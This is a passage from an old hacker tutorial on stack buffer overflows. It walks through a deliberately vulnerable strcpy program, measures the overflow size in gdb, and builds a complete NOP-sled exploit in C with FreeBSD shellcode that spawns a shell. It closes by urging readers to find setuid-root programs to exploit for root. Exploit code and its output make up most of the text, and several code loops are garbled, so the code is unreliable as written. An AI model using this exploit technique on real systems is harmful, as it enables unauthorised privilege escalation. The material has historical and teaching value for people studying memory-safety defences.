if you don't have any NOP's before the code. Now you get the hex
representation of the first byte of the code we need, keep pressing
until you get to the last byte then write the shellcode into a char
shellcode[] and save the file so that you won't loose it.
Now we got the shellcode inside a local variable. The ideea of this
buffer overflow is to fill buffer1 (in the first example as an instance)
like this: [ shellcode &shellcode &shellcode .... ]. Are you getting the
ideea? The shellcode will be contained in the beginning of buffer2, so in
the next lines, and the overflow, we'll keep writing the memory address of
the beginning of buffer1 where our shellcode is located. When the function
finishes (wherever it is main(), or another function, process, it doesn't
matter), it will pop everything out that is not needed anymore, by this
popping the Instruction Pointer which represents the memory address of our
buffer1 and that code will be executed spawning a shell (because IP
contains the memory address &shellcode = &buffer1). Remember, the stack
can be read anywhere, anyhow on a frame, using refrences as a distance
from the base pointer, only elements may only be popped/pushed out/in LIFO
style. You will see a lot more examples in the next sections, so don't get
scared if you don't understand everything yet.

0x5. FINDING THE BUFFER SIZE

Now let's suppose the code below is the code we want to exploit:

vuln.c:

#include
#include

int main(int argc, char *argv[]) {
char st[512];
if (!(argc>1)) {printf("Not enough parameters.\n"); return(0);}
strcpy(st, argv[1]);
}

This code takes the first argument in the command line and copies it
into the st buffer which is 512 bytes. All we need to do is put our buffer
containing the shellcode inside st so that it overflows it and our code
(the shellcode) gets to be executed. How to do this is what i'll explain
in this section.
This is what the stack looks like for the compiled vuln.c:

# gcc -o vuln vuln.c
# ./vuln abcdefghik
# ./vuln `perl -e 'printf "A"x600'`
Segmentation fault (core dumped)
#

As you can see, the first time we insert "abcdefghijk" into argv[1], by
this into st[512], nothing happens. But the next time we insert 600 "A"-s
into st[512] through argv[1] we get a "Segmentation Fault", meaning that
we redirected the IP to somewhere where it isn't supposed to point; that
address being 0x41414141. 0x41 is the hex code for the ASCII code of 'A',
inserted into the four bytes of the IP address resulting into 0x41414141.
Now let's debug the program so that you can see for yourself:

# gdb vuln
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for
details.
This GDB was configured as "i386-unknown-freebsd"...
(no debugging symbols found)...
(gdb) run `perl -e 'printf "A"x600'`
Starting program: /sig-hup/code/b0f/vuln `perl -e 'printf "A"x600'`
(no debugging symbols found)...(no debugging symbols found)...
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) info registers
eax 0xbfbff79c -1077938276
ecx 0xbfbff9f4 -1077937676
edx 0xbfbffd37 -1077936841
ebx 0x2 2
esp 0xbfbff9a4 0xbfbff9a4
ebp 0x41414141 0x41414141
esi 0xbfbff9f0 -1077937680
edi 0xbfbff9fc -1077937668
eip 0x41414141 0x41414141
eflags 0x10282 66178
cs 0x1f 31
ss 0x2f 47
ds 0x2f 47
es 0x2f 47
fs 0x2f 47
gs 0x2f 47
(gdb)

As you can see in the example above, we execute ./vuln again inside gdb
to see what went wrong, and by doing "info registers" or "i r", we see the
content of the registers when the segmentation fault happened. Notice that
first the base pointer (ebp) is overwritten with 0x41's, and then the
instrution pointer (eip) with the same data. Now we want to put exactly
four bytes into %eip, forming the address that will point back to the
beginning of our buffer where the code we wish to execute is located, but
to do this we must first find out how big our overflow buffer needs to be.
We will use the next code to try and find out:

getsize.c:

#include

#define DEFAULT_SIZE 100

main(int argc, char *argv[]){
int bsize,i;
char *buff;

bsize = DEFAULT_SIZE;

if (argc>1) bsize = atoi(argv[1]);
if (!(buff=malloc(bsize))) { printf("malloc() err.\n");return(1);}

for(i=0;i for(i=bsize-4;i<=bsize;i++) buff[i] = 0x68;

memcpy(buff, "EGG=", 4);
putenv(buff);

system("/bin/sh");
}

What we do above is giving ./getsize as an argument a buffer size for
testing, if no argument is given, it takes the default buffer size set:
DEFAULT_SIZE, which is 100 bytes. Then we fill the buffer with 0x69 (sex
number :)) which is 'i', and the last four bytes are filled with 0x68
which is 'h'. We wanna get a buffer size that will segfault our code and
get us everything with 0x69, including %ebp, and 0x68 into %eip only (the
whole four bytes). For easier work i used putenv() to export the testing
buffer into an environment called EGG, then it spawns a shell so we can
use the environment and not loose it. Now let's try and guess the correct
size:

# gcc -o getsize getsize.c
getsize.c: In function `main':
getsize.c:11: warning: assignment makes pointer from integer without a cast
# ./getsize 600
# ./vuln $EGG
Segmentation fault (core dumped)
# gdb vuln
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-unknown-freebsd"...
(no debugging symbols found)...
(gdb) run $EGG
Starting program: /sig-hup/code/b0f/vuln $EGG
(no debugging symbols found)...(no debugging symbols found)...
Program received signal SIGSEGV, Segmentation fault.
0x69696969 in ?? ()
(gdb) i r
eax 0xbfbff540 -1077938880
ecx 0xbfbff790 -1077938288
edx 0xbfbffad7 -1077937449
ebx 0x2 2
esp 0xbfbff748 0xbfbff748
ebp 0x69696969 0x69696969
esi 0xbfbff794 -1077938284
edi 0xbfbff7a0 -1077938272
eip 0x69696969 0x69696969
eflags 0x10282 66178
cs 0x1f 31
ss 0x2f 47
ds 0x2f 47
es 0x2f 47
fs 0x2f 47
gs 0x2f 47
(gdb) q
The program is running. Exit anyway? (y or n) y
# exit
#

The buffer size of 600 bytes that we used seems to be too big because
it overwrites %eip with 0x69, which is the 'i', and we need only 0x68
inside %eip, and 0x69 inside %ebp. So let's try a smaller size, like, uhm,
520?

# ./getsize 520
# ./vuln $EGG
Segmentation fault - core dumped
# gdb vuln
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for
details.
This GDB was configured as "i386-unknown-freebsd"...
(no debugging symbols found)...
(gdb) run $EGG
Starting program: /sig-hup/code/b0f/vuln $EGG
(no debugging symbols found)...(no debugging symbols found)...
Program received signal SIGSEGV, Segmentation fault.
0x8040068 in ?? ()
(gdb) i r
eax 0xbfbff5e0 -1077938720
ecx 0xbfbff7e0 -1077938208
edx 0xbfbffb27 -1077937369
ebx 0x2 2
esp 0xbfbff7e8 0xbfbff7e8
ebp 0x68686868 0x68686868
esi 0xbfbff834 -1077938124
edi 0xbfbff840 -1077938112
eip 0x8040068 0x8040068
eflags 0x10286 66182
cs 0x1f 31
ss 0x2f 47
ds 0x2f 47
es 0x2f 47
fs 0x2f 47
gs 0x2f 47
(gdb) q
The program is running. Exit anyway? (y or n) y
# exit
#

Woah! The end of the buffer, the 0x68686868 (4 'h'-s) are inside %ebp,
and %eip contains its original value. So what we oviously need to do is
push the buffer further with 4 bytes, so that we'll get all the 4 0x68's
inside %eip, the final buffer size being 524. Let's see if this works:

# ./getsize 524
# ./vuln $EGG
Segmentation fault - core dumped
# gdb vuln
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for
details.
This GDB was configured as "i386-unknown-freebsd"...
(no debugging symbols found)...
(gdb) run $EGG
Starting program: /sig-hup/code/b0f/vuln $EGG
(no debugging symbols found)...(no debugging symbols found)...
Program received signal SIGSEGV, Segmentation fault.
0x68686868 in ?? ()
(gdb) i r
eax 0xbfbff5d8 -1077938728
ecx 0xbfbff7e0 -1077938208
edx 0xbfbffb27 -1077937369
ebx 0x2 2
esp 0xbfbff7e0 0xbfbff7e0
ebp 0x69696969 0x69696969
esi 0xbfbff82c -1077938132
edi 0xbfbff838 -1077938120
eip 0x68686868 0x68686868
eflags 0x10282 66178
cs 0x1f 31
ss 0x2f 47
ds 0x2f 47
es 0x2f 47
fs 0x2f 47
gs 0x2f 47
(gdb) q
The program is running. Exit anyway? (y or n) y
# exit
#

Bingo! We got all the 0x69's until exactly where the IP is, so now we
know this is the size our overflow buffer needs. It might take you longer
on other vulnerable programs to find the correct size, but if you wouldn't
use this kinda methods like this code, trust me, it would be a lot more
"pain".

0x6. OFFSETS

So now we got the our next problem, and the last one (pheew), finding
the current offset. Now we know that the stack in memory starts at the
same address for every process (the stack, not the frame pointer, the
frame pointer is different for each process). The stack bottom memory
address is a high value like, let's say 0xFF, and the stack grows up, but
to lower memory addresses, for example our stack pointer is a smaller
value the 0xFF (if we are taking this memory address for the stack
bottom). Stick with this. We are going to do the same as in getsize.c for
the exploit program: generate the buffer, export it into an environment,
then execute a shell so we can use our environment on the vulnerable
program. Now, we start the exploit program, then inside the spawned shell
we start the vulnerable program, ./vuln is going to make another frame
pointer on top of our exploit program, and the shell. So what we need to
guess is the memory address where are buffer will be located inside
st[512] (remember?), and that will be the value that we will put inside
%eip. To make this easier we'll use this function that returns the current
stack pointer (the SP when we are inside the exploit program), and
decrease a value (called offset) from it, resulting into the aproximate
address of where st[512], and by this, our buffer, is located in memory.
This easy function code will give us out the stack pointer for Linux and
FreeBSD systems (other systems have different code).

unsigned long get_esp() {
__asm__("movl %esp, %eax");
}

What every function returns is put into the EAX register, so what we do
here is putting the stack pointer(ESP) inside EAX and the function returns
it to us. Easy until now, right?

0x7. GENERATING THE BUFFER

Now let's try and make the exploit. I'll try and explain this as
detailed as i can, but understanding won't be a problem if you got good
knowledge of pointers and they're usage. This is the exploit code, that
takes as a parameter the buffer size that we already know, and then an
offset that we need to guess (i used the FreeBSD shellcode and CShell
because i've tested tested this one under FreeBSD, but you can modify
that):

xpl.c:

#include
#include
#include

char freebsd[] =
"\xeb\x37\x5e\x31\xc0\x88\x46\xfa\x89\x46\xf5\x89\x36\x89\x76"
"\x04\x89\x76\x08\x83\x06\x10\x83\x46\x04\x18\x83\x46\x08\x1b"
"\x89\x46\x0c\x88\x46\x17\x88\x46\x1a\x88\x46\x1d\x50\x56\xff"
"\x36\xb0\x3b\x50\x90\x9a\x01\x01\x01\x01\x07\x07\xe8\xc4\xff"
"\xff\xff\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02"
"\x02\x02\x02/bin/sh.-c.sh";

#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 524
#define NOP 0x90

unsigned long get_esp() {
__asm__("mov %esp,%eax");
}

main(int argc, char *argv[]) {
long *ret_addr, addr, offset;
char *nop_addr, *buff, *ptr;
unsigned int bsize, i;

bsize = DEFAULT_BUFFER_SIZE;
offset = DEFAULT_OFFSET;

if (argc>1) bsize = atoi(argv[1]);
if (argc>2) offset = atoi(argv[2]);

addr = get_esp() - offset;

if (!(buff=malloc(bsize))) {
printf("Not enough memory to allocate for buffer.\n");
}

ret_addr = (long *)buff;

for (i=0;i for (i=0;i
ptr = buff + ((bsize/2)-(strlen(freebsd)/2));
for (i=0;i
memcpy(buff, "BUF=", 4);
putenv(buff);

printf("Trying:\n\naddr: 0x%x\nbsize: %d bytes\n\n", addr, bsize);

system("/bin/csh");
}

Now, i am going to explain this step by step (almost), starting from
"addr = get_esp() - offset", that calculates a memory address with the
offset given from the current stack pointer, this being the address that
we will use to try to exploit the program and spawn our shell. Now the
buffer we used is char*, made of 1 byte/object, and we need to keep
writing on 4 bytes on the buffer because that's how long a memory address
is (remember the eip being 0x68686868?). So we'll use another pointer,
ret_addr, and we'll make it point to our char buffer (1 byte), by casting
it. Then inside the first for() we keep increasing ret_addr by one and
putting addr (the buffer address we are assuming to be correct) inside
buf. Notice that ret_addr is of type long, which is 4 bytes, and by
increasing it with 1, we don't increase it to point further with 1 byte,
we increase it to point further with one "unit", which is 4 bytes in this
case.
So we got our buffer filled with this address. Now we only have to
insert the shellcode and a thing to make this all easier to "guess".
We insert the NOP instruction (0x90) into half of the buffer.
The assembly NOP instruction means "Null OPeration", and it tells the
processor not to do anything. This instruction is usualy used for timing
purposes. We put it into the first half of our buffer because it could
take forever to guess the exact offset, and by that the exact memory
address of where it is located. By using this NOP's, we don't have to
guess the offset size exactly, it is enough for our exploit to point the
Instruction Pointer between does NOP's which will execute the Null
Operation 1 byte by one down towards our shellcode which is inserted later
in the code into our buffer in the middle of it (those NOP's don't take
long, you can hardly notice it), and when it get's to it, it executes the
shellcode and we got a spawned shell. Now let's test our code and see what
happens:

localhost# gcc -o xpl xpl.c
localhost# ./xpl
Trying:

addr: 0xbfbffbdc
bsize: 524 bytes

localhost# ./vuln $BUF
# exit
localhost# exit
exit
localhost#

Heheh, we didn't even need a different offset, and the exploit worked.
As you can see, it exports the BUF environment containing our generated
buffer, and we run ./vuln and give BUF as a parameter to it, spawning us
the shell.
I hope i didn't confuse you with all those exits :).

0x8. THE END

I was running these programs as root and i'm not sure that you got the
ideea. One thing i'm sure of is that you are used to getting root when an
exploit is used, well no! This one doesn't give you root. You must exploit
a function that runs as uid 0 (root - setuid(0)), and let's you run it as
a shell user, spawn you the shell, and that'll give root. Try finding this
kinds of programs inside the Operating System's sources, etc. Mail me for
questions or info at drunkk@sig-hup.net or ask me on IRC.

Thanks to the following people that made this happen:

bored - i wonder if i'll ever catch you being bored
trappie - you started this shit (you know what i mean)
RLoxley - you gave me the ideea for this article
maloman - can't wait to get together, smoke some bud
Bruno - read this again ;)
humstrux - man, do you need help finding your way, are you lost? :/
xum - ;)
c0balt - word up!
Pericool - keep up the php werk and the webdesign
#hackphreak - word up for everyone there
#gcc - a very Big thank you for all that support me there

This article can be found on these sites:

1) http://www.sig-hup.net/
2) http://www.hackphreak.org/
3) http://atronica.darktech.org/

Recommended for more documentation:

1) http://code.box.sk/
2) http://www.hackphreak.org/
3) http://www.hert.org/
4) http://www.phrack.org/

/* EOF */